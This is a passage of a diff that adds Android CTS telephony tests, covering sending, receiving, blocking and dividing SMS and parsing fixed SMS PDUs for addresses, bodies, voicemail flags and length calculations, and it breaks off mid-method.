+            mDeliveryReportSupported = false;
+        } else {
+            // exclude the networks that don't support SMS delivery report
+            String mccmnc = mTelephonyManager.getSimOperator();
+            mDeliveryReportSupported = !(CarrierCapability.NO_DELIVERY_REPORTS.contains(mccmnc));
+        }
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mBlockedNumberUri != null) {
+            mContext.getContentResolver().delete(mBlockedNumberUri, null, null);
+            mBlockedNumberUri = null;
+        }
+        if (mTestAppSetAsDefaultSmsApp) {
+            setDefaultSmsApp(false);
+        }
+    }
+
+    @Test
+    public void testDivideMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        ArrayList<String> dividedMessages = divideMessage(LONG_TEXT);
+        assertNotNull(dividedMessages);
+        if (TelephonyUtils.isSkt(mTelephonyManager)) {
+            assertTrue(isComplete(dividedMessages, 5, LONG_TEXT)
+                    || isComplete(dividedMessages, 3, LONG_TEXT));
+        } else if (TelephonyUtils.isKt(mTelephonyManager)) {
+            assertTrue(isComplete(dividedMessages, 4, LONG_TEXT)
+                    || isComplete(dividedMessages, 3, LONG_TEXT));
+        } else {
+            assertTrue(isComplete(dividedMessages, 3, LONG_TEXT));
+        }
+    }
+
+    @Test
+    public void testDivideUnicodeMessage() {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+        ArrayList<String> dividedMessages = divideMessage(LONG_TEXT_WITH_32BIT_CHARS);
+        assertNotNull(dividedMessages);
+        assertTrue(isComplete(dividedMessages, 3, LONG_TEXT_WITH_32BIT_CHARS));
+        for (String messagePiece : dividedMessages) {
+            assertFalse(Character.isHighSurrogate(
+                    messagePiece.charAt(messagePiece.length() - 1)));
+        }
+    }
+
+    private boolean isComplete(List<String> dividedMessages, int numParts, String longText) {
+        if (dividedMessages.size() != numParts) {
+            return false;
+        }
+
+        String actualMessage = "";
+        for (int i = 0; i < numParts; i++) {
+            actualMessage += dividedMessages.get(i);
+        }
+        return longText.equals(actualMessage);
+    }
+
+    @Test
+    public void testSendAndReceiveMessages() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
+                TextUtils.isEmpty(mDestAddr));
+
+        String mccmnc = mTelephonyManager.getSimOperator();
+        setupBroadcastReceivers();
+
+        // send single text sms
+        init();
+        sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
+        assertTrue("[RERUN] Could not send SMS. Check signal.",
+                mSendReceiver.waitForCalls(1, TIME_OUT));
+        if (mDeliveryReportSupported) {
+            assertTrue("[RERUN] SMS message delivery notification not received. Check signal.",
+                    mDeliveryReceiver.waitForCalls(1, TIME_OUT));
+        }
+        // non-default app should receive only SMS_RECEIVED_ACTION
+        assertTrue(mSmsReceivedReceiver.waitForCalls(1, TIME_OUT));
+        assertTrue(mSmsDeliverReceiver.waitForCalls(0, 0));
+
+        // due to permission restrictions, currently there is no way to make this test app the
+        // default SMS app
+
+        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+            // TODO: temp workaround, OCTET encoding for EMS not properly supported
+            return;
+        }
+
+        // send data sms
+        if (sendDataMessageIfSupported(mccmnc)) {
+            assertTrue("[RERUN] Could not send data SMS. Check signal.",
+                    mSendReceiver.waitForCalls(1, TIME_OUT));
+            if (mDeliveryReportSupported) {
+                assertTrue("[RERUN] Data SMS message delivery notification not received. " +
+                        "Check signal.", mDeliveryReceiver.waitForCalls(1, TIME_OUT));
+            }
+            mDataSmsReceiver.waitForCalls(1, TIME_OUT);
+            assertTrue("[RERUN] Data SMS message not received. Check signal.", mReceivedDataSms);
+            assertEquals(mReceivedText, mText);
+        } else {
+            // This GSM network doesn't support Data(binary) SMS message.
+            // Skip the test.
+        }
+
+        // send multi parts text sms
+        int numPartsSent = sendMultipartTextMessageIfSupported(mccmnc);
+        if (numPartsSent > 0) {
+            assertTrue("[RERUN] Could not send multi part SMS. Check signal.",
+                    mSendReceiver.waitForCalls(numPartsSent, TIME_OUT));
+            if (mDeliveryReportSupported) {
+                assertTrue("[RERUN] Multi part SMS message delivery notification not received. " +
+                        "Check signal.", mDeliveryReceiver.waitForCalls(numPartsSent, TIME_OUT));
+            }
+            // non-default app should receive only SMS_RECEIVED_ACTION
+            assertTrue(mSmsReceivedReceiver.waitForCalls(1, TIME_OUT));
+            assertTrue(mSmsDeliverReceiver.waitForCalls(0, 0));
+        } else {
+            // This GSM network doesn't support Multipart SMS message.
+            // Skip the test.
+        }
+    }
+
+    @Test
+    public void testSmsBlocking() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
+                TextUtils.isEmpty(mDestAddr));
+
+        String mccmnc = mTelephonyManager.getSimOperator();
+        // Setting default SMS App is needed to be able to block numbers.
+        setDefaultSmsApp(true);
+        blockNumber(mDestAddr);
+        setupBroadcastReceivers();
+
+        // single-part SMS blocking
+        init();
+        sendTextMessage(mDestAddr, mDestAddr, mSentIntent, mDeliveredIntent);
+        assertTrue("[RERUN] Could not send SMS. Check signal.",
+                mSendReceiver.waitForCalls(1, TIME_OUT));
+        assertTrue("Expected no messages to be received due to number blocking.",
+                mSmsReceivedReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
+        assertTrue("Expected no messages to be delivered due to number blocking.",
+                mSmsDeliverReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
+
+        // send data sms
+        if (!sendDataMessageIfSupported(mccmnc)) {
+            assertTrue("[RERUN] Could not send data SMS. Check signal.",
+                    mSendReceiver.waitForCalls(1, TIME_OUT));
+            if (mDeliveryReportSupported) {
+                assertTrue("[RERUN] Data SMS message delivery notification not received. " +
+                        "Check signal.", mDeliveryReceiver.waitForCalls(1, TIME_OUT));
+            }
+            assertTrue("Expected no messages to be delivered due to number blocking.",
+                    mSmsDeliverReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
+        } else {
+            // This GSM network doesn't support Data(binary) SMS message.
+            // Skip the test.
+        }
+
+        // multi-part SMS blocking
+        int numPartsSent = sendMultipartTextMessageIfSupported(mccmnc);
+        if (numPartsSent > 0) {
+            assertTrue("[RERUN] Could not send multi part SMS. Check signal.",
+                    mSendReceiver.waitForCalls(numPartsSent, TIME_OUT));
+
+            assertTrue("Expected no messages to be received due to number blocking.",
+                    mSmsReceivedReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
+            assertTrue("Expected no messages to be delivered due to number blocking.",
+                    mSmsDeliverReceiver.verifyNoCalls(NO_CALLS_TIMEOUT_MILLIS));
+        } else {
+            // This GSM network doesn't support Multipart SMS message.
+            // Skip the test.
+        }
+    }
+
+
+    @Test
+    public void testSmsNotPersisted_failsWithoutCarrierPermissions() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        assertFalse("[RERUN] SIM card does not provide phone number. Use a suitable SIM Card.",
+                TextUtils.isEmpty(mDestAddr));
+
+        try {
+            getSmsManager().sendTextMessageWithoutPersisting(mDestAddr, null /*scAddress */,
+                    mDestAddr, mSentIntent, mDeliveredIntent);
+            fail("We should get a SecurityException due to not having carrier privileges");
+        } catch (SecurityException e) {
+            // Success
+        }
+    }
+
+    private void init() {
+        mSendReceiver.reset();
+        mDeliveryReceiver.reset();
+        mDataSmsReceiver.reset();
+        mSmsDeliverReceiver.reset();
+        mSmsReceivedReceiver.reset();
+        mReceivedDataSms = false;
+        mSentIntent = PendingIntent.getBroadcast(mContext, 0, mSendIntent,
+                PendingIntent.FLAG_ONE_SHOT);
+        mDeliveredIntent = PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent,
+                PendingIntent.FLAG_ONE_SHOT);
+    }
+
+    private void setupBroadcastReceivers() {
+        mSendIntent = new Intent(SMS_SEND_ACTION);
+        mDeliveryIntent = new Intent(SMS_DELIVERY_ACTION);
+
+        IntentFilter sendIntentFilter = new IntentFilter(SMS_SEND_ACTION);
+        IntentFilter deliveryIntentFilter = new IntentFilter(SMS_DELIVERY_ACTION);
+        IntentFilter dataSmsReceivedIntentFilter = new IntentFilter(DATA_SMS_RECEIVED_ACTION);
+        IntentFilter smsDeliverIntentFilter = new IntentFilter(SMS_DELIVER_DEFAULT_APP_ACTION);
+        IntentFilter smsReceivedIntentFilter =
+                new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION);
+        dataSmsReceivedIntentFilter.addDataScheme("sms");
+        dataSmsReceivedIntentFilter.addDataAuthority("localhost", "19989");
+
+        mSendReceiver = new SmsBroadcastReceiver(SMS_SEND_ACTION);
+        mDeliveryReceiver = new SmsBroadcastReceiver(SMS_DELIVERY_ACTION);
+        mDataSmsReceiver = new SmsBroadcastReceiver(DATA_SMS_RECEIVED_ACTION);
+        mSmsDeliverReceiver = new SmsBroadcastReceiver(SMS_DELIVER_DEFAULT_APP_ACTION);
+        mSmsReceivedReceiver = new SmsBroadcastReceiver(Telephony.Sms.Intents.SMS_RECEIVED_ACTION);
+
+        mContext.registerReceiver(mSendReceiver, sendIntentFilter);
+        mContext.registerReceiver(mDeliveryReceiver, deliveryIntentFilter);
+        mContext.registerReceiver(mDataSmsReceiver, dataSmsReceivedIntentFilter);
+        mContext.registerReceiver(mSmsDeliverReceiver, smsDeliverIntentFilter);
+        mContext.registerReceiver(mSmsReceivedReceiver, smsReceivedIntentFilter);
+    }
+
+    /**
+     * Returns the number of parts sent in the message. If Multi-part SMS is not supported,
+     * returns 0.
+     */
+    private int sendMultipartTextMessageIfSupported(String mccmnc) {
+        int numPartsSent = 0;
+        if (!CarrierCapability.UNSUPPORT_MULTIPART_SMS_MESSAGES.contains(mccmnc)) {
+            init();
+            ArrayList<String> parts = divideMessage(LONG_TEXT);
+            numPartsSent = parts.size();
+            ArrayList<PendingIntent> sentIntents = new ArrayList<PendingIntent>();
+            ArrayList<PendingIntent> deliveryIntents = new ArrayList<PendingIntent>();
+            for (int i = 0; i < numPartsSent; i++) {
+                sentIntents.add(PendingIntent.getBroadcast(mContext, 0, mSendIntent, 0));
+                deliveryIntents.add(PendingIntent.getBroadcast(mContext, 0, mDeliveryIntent, 0));
+            }
+            sendMultiPartTextMessage(mDestAddr, parts, sentIntents, deliveryIntents);
+        }
+        return numPartsSent;
+    }
+
+    private boolean sendDataMessageIfSupported(String mccmnc) {
+        if (!CarrierCapability.UNSUPPORT_DATA_SMS_MESSAGES.contains(mccmnc)) {
+            byte[] data = mText.getBytes();
+            short port = 19989;
+
+            init();
+            sendDataMessage(mDestAddr, port, data, mSentIntent, mDeliveredIntent);
+            return true;
+        }
+        return false;
+    }
+
+    @Test
+    public void testGetDefault() {
+        assertNotNull(getSmsManager());
+    }
+
+    protected ArrayList<String> divideMessage(String text) {
+        return getSmsManager().divideMessage(text);
+    }
+
+    private android.telephony.SmsManager getSmsManager() {
+        return android.telephony.SmsManager.getDefault();
+    }
+
+    protected void sendMultiPartTextMessage(String destAddr, ArrayList<String> parts,
+            ArrayList<PendingIntent> sentIntents, ArrayList<PendingIntent> deliveryIntents) {
+        getSmsManager().sendMultipartTextMessage(destAddr, null, parts, sentIntents, deliveryIntents);
+    }
+
+    protected void sendDataMessage(String destAddr,short port, byte[] data, PendingIntent sentIntent, PendingIntent deliveredIntent) {
+        getSmsManager().sendDataMessage(destAddr, null, port, data, sentIntent, deliveredIntent);
+    }
+
+    protected void sendTextMessage(String destAddr, String text, PendingIntent sentIntent, PendingIntent deliveredIntent) {
+        getSmsManager().sendTextMessage(destAddr, null, text, sentIntent, deliveredIntent);
+    }
+
+    private void blockNumber(String phoneNumber) {
+        ContentValues cv = new ContentValues();
+        cv.put(BlockedNumberContract.BlockedNumbers.COLUMN_ORIGINAL_NUMBER, phoneNumber);
+        mBlockedNumberUri = mContext.getContentResolver().insert(
+                BlockedNumberContract.BlockedNumbers.CONTENT_URI, cv);
+    }
+
+    private void setDefaultSmsApp(boolean setToSmsApp)
+            throws Exception {
+        String command = String.format(
+                "appops set %s WRITE_SMS %s",
+                mContext.getPackageName(),
+                setToSmsApp ? "allow" : "default");
+        assertTrue("Setting default SMS app failed : " + setToSmsApp,
+                executeShellCommand(command).isEmpty());
+        mTestAppSetAsDefaultSmsApp = setToSmsApp;
+    }
+
+    private String executeShellCommand(String command)
+            throws IOException {
+        ParcelFileDescriptor pfd =
+                getInstrumentation().getUiAutomation().executeShellCommand(command);
+        BufferedReader br = null;
+        try (InputStream in = new FileInputStream(pfd.getFileDescriptor());) {
+            br = new BufferedReader(new InputStreamReader(in, StandardCharsets.UTF_8));
+            String str;
+            StringBuilder out = new StringBuilder();
+            while ((str = br.readLine()) != null) {
+                out.append(str);
+            }
+            return out.toString();
+        } finally {
+            if (br != null) {
+                br.close();
+            }
+        }
+    }
+
+    private static class SmsBroadcastReceiver extends BroadcastReceiver {
+        private int mCalls;
+        private int mExpectedCalls;
+        private String mAction;
+        private Object mLock;
+
+        SmsBroadcastReceiver(String action) {
+            mAction = action;
+            reset();
+            mLock = new Object();
+        }
+
+        void reset() {
+            mExpectedCalls = Integer.MAX_VALUE;
+            mCalls = 0;
+        }
+
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            if(mAction.equals(DATA_SMS_RECEIVED_ACTION)){
+                StringBuilder sb = new StringBuilder();
+                Bundle bundle = intent.getExtras();
+                if (bundle != null) {
+                    Object[] obj = (Object[]) bundle.get("pdus");
+                    String format = bundle.getString("format");
+                    SmsMessage[] message = new SmsMessage[obj.length];
+                    for (int i = 0; i < obj.length; i++) {
+                        message[i] = SmsMessage.createFromPdu((byte[]) obj[i], format);
+                    }
+
+                    for (SmsMessage currentMessage : message) {
+                        byte[] binaryContent = currentMessage.getUserData();
+                        String readableContent = new String(binaryContent);
+                        sb.append(readableContent);
+                    }
+                }
+                mReceivedDataSms = true;
+                mReceivedText=sb.toString();
+            }
+            Log.i(TAG, "onReceive " + intent.getAction());
+            if (intent.getAction().equals(mAction)) {
+                synchronized (mLock) {
+                    mCalls += 1;
+                    mLock.notify();
+                }
+            }
+        }
+
+        private boolean verifyNoCalls(long timeout) throws InterruptedException {
+            synchronized(mLock) {
+                mLock.wait(timeout);
+                return mCalls == 0;
+            }
+        }
+
+        public boolean waitForCalls(int expectedCalls, long timeout) throws InterruptedException {
+            synchronized(mLock) {
+                mExpectedCalls = expectedCalls;
+                long startTime = SystemClock.elapsedRealtime();
+
+                while (mCalls < mExpectedCalls) {
+                    long waitTime = timeout - (SystemClock.elapsedRealtime() - startTime);
+                    if (waitTime > 0) {
+                        mLock.wait(waitTime);
+                    } else {
+                        return false;  // timed out
+                    }
+                }
+                return true;  // success
+            }
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
new file mode 100644
index 0000000..165c5cd
--- /dev/null
+++ b/tests/tests/telephony/current/src/android/telephony/cts/SmsMessageTest.java
@@ -0,0 +1,384 @@
+/*
+ * Copyright (C) 2009 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.cts;
+
+import static androidx.test.InstrumentationRegistry.getContext;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.telephony.SmsMessage;
+import android.telephony.TelephonyManager;
+
+import org.junit.Before;
+import org.junit.Test;
+
+public class SmsMessageTest {
+
+    private TelephonyManager mTelephonyManager;
+    private PackageManager mPackageManager;
+
+    private static final String DISPLAY_MESSAGE_BODY = "test subject /test body";
+    private static final String DMB = "{ testBody[^~\\] }";
+    private static final String EMAIL_ADD = "foo@example.com";
+    private static final String EMAIL_FROM = "foo@example.com";
+    private static final String MB = DMB;
+    private static final String MESSAGE_BODY1 = "Test";
+    private static final String MESSAGE_BODY2 = "(Subject)Test";
+    private static final String MESSAGE_BODY3 = "\u2122\u00a9\u00aehello";
+    private static final String MESSAGE_BODY4 = " ";
+    private static final String MESSAGE_BODY5 = " ";
+    private static final String OA = "foo@example.com";
+    private static final String OA1 = "+14154255486";
+    private static final String OA2 = "+15122977683";
+    private static final String OA3 = "_@";
+    private static final String OA4 = "\u0394@";
+    // pseudo subject will always be empty
+    private static final String PSEUDO_SUBJECT = "";
+    private static final String SCA1 = "+16466220020";
+    private static final String SCA2 = "+12063130012";
+    private static final String SCA3 = "+14155551212";
+    private static final String SCA4 = "+14155551212";
+    private static final int NOT_CREATE_FROM_SIM = -1;
+    private static final int NOT_CREATE_FROM_ICC = -1;
+    private static final int PROTOCOL_IDENTIFIER = 0;
+    private static final int SMS_NUMBER1 = 1;
+    private static final int SMS_NUMBER2 = 1;
+    private static final int SMS_NUMBER3 = 1;
+    private static final int STATUS = 0;
+    private static final int STATUS_ON_SIM_DEF = -1;
+    private static final int STATUS_ON_ICC_DEF = -1;
+    private static final int TPLAYER_LENGTH_FOR_PDU = 23;
+    private static final long TIMESTAMP_MILLIS = 1149631383000l;
+    private static final int SEPTETS_SKT = 80;
+    private static final int SEPTETS_KT = 90;
+    private static final String LONG_TEXT_WITH_32BIT_CHARS =
+        "Long dkkshsh jdjsusj kbsksbdf jfkhcu hhdiwoqiwyrygrvn?*?*!\";:'/,."
+        + "__?9#9292736&4;\"$+$+((]\\[\\℅©℅™^®°¥°¥=¢£}}£∆~¶~÷|√×."
+        + " 😯😆😉😇😂😀👕🎓😀👙🐕🐀🐶🐰🐩⛪⛲ ";
+    private static final String LONG_TEXT_WITH_FLAGS =
+        "🇦🇫🇦🇽🇦🇱🇩🇿🇦🇸🇦🇩🇦🇴🇦🇮🇦🇶🇦🇬🇦🇷🇦🇲🇦🇼🇦🇨"
+        + "🇦🇺🇦🇹🇦🇿🇧🇸🇧🇭🇧🇩🇧🇧🇧🇾🇧🇪🇧🇿🇧🇯🇧🇲🇧🇹🇧🇴🇧🇦";
+
+    @Before
+    public void setUp() throws Exception {
+        mTelephonyManager =
+            (TelephonyManager) getContext().getSystemService(Context.TELEPHONY_SERVICE);
+        mPackageManager = getContext().getPackageManager();
+    }
+
+    @Test
+    public void testCreateFromPdu() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
+            // TODO: temp workaround, need to adjust test to use CDMA pdus
+            return;
+        }
+
+        String pdu = "07916164260220F0040B914151245584F600006060605130308A04D4F29C0E";
+        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
+                SmsMessage.FORMAT_3GPP);
+        assertEquals(SCA1, sms.getServiceCenterAddress());
+        assertEquals(OA1, sms.getOriginatingAddress());
+        assertEquals(MESSAGE_BODY1, sms.getMessageBody());
+        assertEquals(TPLAYER_LENGTH_FOR_PDU, SmsMessage.getTPLayerLengthForPDU(pdu));
+        int[] result = SmsMessage.calculateLength(sms.getMessageBody(), true);
+        assertEquals(SMS_NUMBER1, result[0]);
+        assertEquals(sms.getMessageBody().length(), result[1]);
+        assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
+        assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
+        assertEquals(pdu, toHexString(sms.getPdu()));
+
+        assertEquals(NOT_CREATE_FROM_SIM, sms.getIndexOnSim());
+        assertEquals(NOT_CREATE_FROM_ICC, sms.getIndexOnIcc());
+        assertEquals(PROTOCOL_IDENTIFIER, sms.getProtocolIdentifier());
+        assertFalse(sms.isEmail());
+        assertFalse(sms.isReplyPathPresent());
+        assertFalse(sms.isStatusReportMessage());
+        assertFalse(sms.isCphsMwiMessage());
+        assertEquals(SmsMessage.MessageClass.UNKNOWN, sms.getMessageClass());
+        assertEquals(STATUS, sms.getStatus());
+        assertEquals(STATUS_ON_SIM_DEF, sms.getStatusOnSim());
+        assertEquals(STATUS_ON_ICC_DEF, sms.getStatusOnIcc());
+        assertEquals(TIMESTAMP_MILLIS, sms.getTimestampMillis());
+
+        // Test create from null Pdu
+        sms = SmsMessage.createFromPdu(null, SmsMessage.FORMAT_3GPP);
+        assertNull(sms);
+
+        // Test create from long Pdu
+        pdu = "07912160130310F2040B915121927786F300036060924180008A0DA"
+            + "8695DAC2E8FE9296A794E07";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+        assertEquals(SCA2, sms.getServiceCenterAddress());
+        assertEquals(OA2, sms.getOriginatingAddress());
+        assertEquals(MESSAGE_BODY2, sms.getMessageBody());
+        CharSequence msgBody = sms.getMessageBody();
+        result = SmsMessage.calculateLength(msgBody, false);
+        assertEquals(SMS_NUMBER2, result[0]);
+        assertEquals(sms.getMessageBody().length(), result[1]);
+        assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
+        assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
+
+        // Test createFromPdu Ucs to Sms
+        pdu = "07912160130300F4040B914151245584"
+            + "F600087010807121352B10212200A900AE00680065006C006C006F";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+        assertEquals(MESSAGE_BODY3, sms.getMessageBody());
+        result = SmsMessage.calculateLength(sms.getMessageBody(), true);
+        assertEquals(SMS_NUMBER3, result[0]);
+        assertEquals(sms.getMessageBody().length(), result[1]);
+        assertRemaining(sms.getMessageBody().length(), result[2], SmsMessage.MAX_USER_DATA_SEPTETS);
+        assertEquals(SmsMessage.ENCODING_7BIT, result[3]);
+    }
+
+    private void assertRemaining(int messageLength, int remaining, int maxChars) {
+        if (TelephonyUtils.isSkt(mTelephonyManager)) {
+            assertTrue(checkRemaining(SEPTETS_SKT, messageLength, remaining)
+                    || checkRemaining(maxChars, messageLength, remaining));
+        } else if (TelephonyUtils.isKt(mTelephonyManager)) {
+            assertTrue(checkRemaining(SEPTETS_KT, messageLength, remaining)
+                    || checkRemaining(maxChars, messageLength, remaining));
+        } else {
+            assertTrue(checkRemaining(maxChars, messageLength, remaining));
+        }
+    }
+
+    private boolean checkRemaining(int total, int messageLength, int remaining) {
+        return total - messageLength == remaining;
+    }
+
+    @Test
+    public void testCPHSVoiceMail() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
+            // TODO: temp workaround, need to adjust test to use CDMA pdus
+            return;
+        }
+
+        // "set MWI flag"
+        String pdu = "07912160130310F20404D0110041006060627171118A0120";
+        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
+                SmsMessage.FORMAT_3GPP);
+        assertTrue(sms.isReplace());
+        assertEquals(OA3, sms.getOriginatingAddress());
+        assertEquals(MESSAGE_BODY4, sms.getMessageBody());
+        assertTrue(sms.isMWISetMessage());
+
+        // "clear mwi flag"
+        pdu = "07912160130310F20404D0100041006021924193352B0120";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+        assertTrue(sms.isMWIClearMessage());
+
+        // "clear MWI flag"
+        pdu = "07912160130310F20404D0100041006060627161058A0120";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+        assertTrue(sms.isReplace());
+        assertEquals(OA4, sms.getOriginatingAddress());
+        assertEquals(MESSAGE_BODY5, sms.getMessageBody());
+        assertTrue(sms.isMWIClearMessage());
+
+        // "set MWI flag"
+        pdu = "07912180958750F84401800500C87020026195702B06040102000200";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+        assertTrue(sms.isMWISetMessage());
+        assertTrue(sms.isMwiDontStore());
+
+        // "clear mwi flag"
+        pdu = "07912180958750F84401800500C07020027160112B06040102000000";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+
+        assertTrue(sms.isMWIClearMessage());
+        assertTrue(sms.isMwiDontStore());
+    }
+
+    @Test
+    public void testGetUserData() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
+            // TODO: temp workaround, need to adjust test to use CDMA pdus
+            return;
+        }
+
+        String pdu = "07914140279510F6440A8111110301003BF56080207130138A8C0B05040B8423F"
+            + "000032A02010106276170706C69636174696F6E2F766E642E7761702E6D6D732D"
+            + "6D65737361676500AF848D0185B4848C8298524E453955304A6D7135514141426"
+            + "66C414141414D7741414236514141414141008D908918802B3135313232393737"
+            + "3638332F545950453D504C4D4E008A808E022B918805810306977F83687474703"
+            + "A2F2F36";
+        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
+                SmsMessage.FORMAT_3GPP);
+        byte[] userData = sms.getUserData();
+        assertNotNull(userData);
+    }
+
+    @Test
+    public void testGetSubmitPdu() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        String scAddress = null, destinationAddress = null;
+        String message = null;
+        boolean statusReportRequested = false;
+
+        try {
+            // null message, null destination
+            SmsMessage.getSubmitPdu(scAddress, destinationAddress, message, statusReportRequested);
+            fail("Should throw NullPointerException");
+        } catch (NullPointerException expected) {
+            // expected
+        }
+
+        message = "This is a test message";
+        try {
+            // non-null message
+            SmsMessage.getSubmitPdu(scAddress, destinationAddress, message, statusReportRequested);
+            fail("Should throw NullPointerException");
+        } catch (NullPointerException expected) {
+            // expected
+        }
+
+        if (mTelephonyManager.getPhoneType() == TelephonyManager.PHONE_TYPE_CDMA) {
+            // TODO: temp workaround, OCTET encoding for EMS not properly supported
+            return;
+        }
+
+        scAddress = "1650253000";
+        destinationAddress = "18004664411";
+        message = "This is a test message";
+        statusReportRequested = false;
+        SmsMessage.SubmitPdu smsPdu =
+            SmsMessage.getSubmitPdu(scAddress, destinationAddress, message, statusReportRequested);
+        assertNotNull(smsPdu);
+
+        smsPdu = SmsMessage.getSubmitPdu(scAddress, destinationAddress, (short)80,
+                message.getBytes(), statusReportRequested);
+        assertNotNull(smsPdu);
+    }
+
+    @Test
+    public void testEmailGateway() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)
+                || mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY_CDMA)) {
+            // TODO: temp workaround, need to adjust test to use CDMA pdus
+            return;
+        }
+
+        String pdu = "07914151551512f204038105f300007011103164638a28e6f71b50c687db" +
+                         "7076d9357eb7412f7a794e07cdeb6275794c07bde8e5391d247e93f3";
+
+        SmsMessage sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu),
+                SmsMessage.FORMAT_3GPP);
+        assertEquals(SCA4, sms.getServiceCenterAddress());
+        assertTrue(sms.isEmail());
+        assertEquals(EMAIL_ADD, sms.getEmailFrom());
+        assertEquals(EMAIL_ADD, sms.getDisplayOriginatingAddress());
+        assertEquals(PSEUDO_SUBJECT, sms.getPseudoSubject());
+
+        assertEquals(DISPLAY_MESSAGE_BODY, sms.getDisplayMessageBody());
+        assertEquals(DISPLAY_MESSAGE_BODY, sms.getEmailBody());
+
+        pdu = "07914151551512f204038105f400007011103105458a29e6f71b50c687db" +
+                        "7076d9357eb741af0d0a442fcfe9c23739bfe16d289bdee6b5f1813629";
+        sms = SmsMessage.createFromPdu(hexStringToByteArray(pdu), SmsMessage.FORMAT_3GPP);
+        assertEquals(SCA3, sms.getServiceCenterAddress());
+        assertTrue(sms.isEmail());
+        assertEquals(OA, sms.getDisplayOriginatingAddress());
+        assertEquals(EMAIL_FROM, sms.getEmailFrom());
+        assertEquals(DMB, sms.getDisplayMessageBody());
+        assertEquals(MB, sms.getEmailBody());
+    }
+
+    @Test
+    public void testCalculateLength() throws Exception {
+        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        int[] result = SmsMessage.calculateLength(LONG_TEXT_WITH_32BIT_CHARS, false);
+        assertEquals(3, result[0]);
+        assertEquals(LONG_TEXT_WITH_32BIT_CHARS.length(), result[1]);
+        // 3 parts, each with (SmsMessage.MAX_USER_DATA_BYTES_WITH_HEADER / 2) 16-bit
+        // characters. We need to subtract one because a 32-bit character crosses the
+        // boundary of 2 parts.
+        int preMaxChars = 3 * SmsMessage.MAX_USER_DATA_BYTES_WITH_HEADER / 2 - 1;
+        // If EMS is not supported, break down EMS into single segment SMS
+        // and add page info "x/y".
+        // In the case of UCS2 encoding type, we need 8 bytes for this
+        // but we only have 6 bytes from UDH, so truncate the limit for
+        // each segment by 2 bytes (1 char). This log sms has three segments,
+        // so truncate the limit by 3 char in total
+        int maxChars = SmsMessage.hasEmsSupport() ? preMaxChars : preMaxChars - 3;
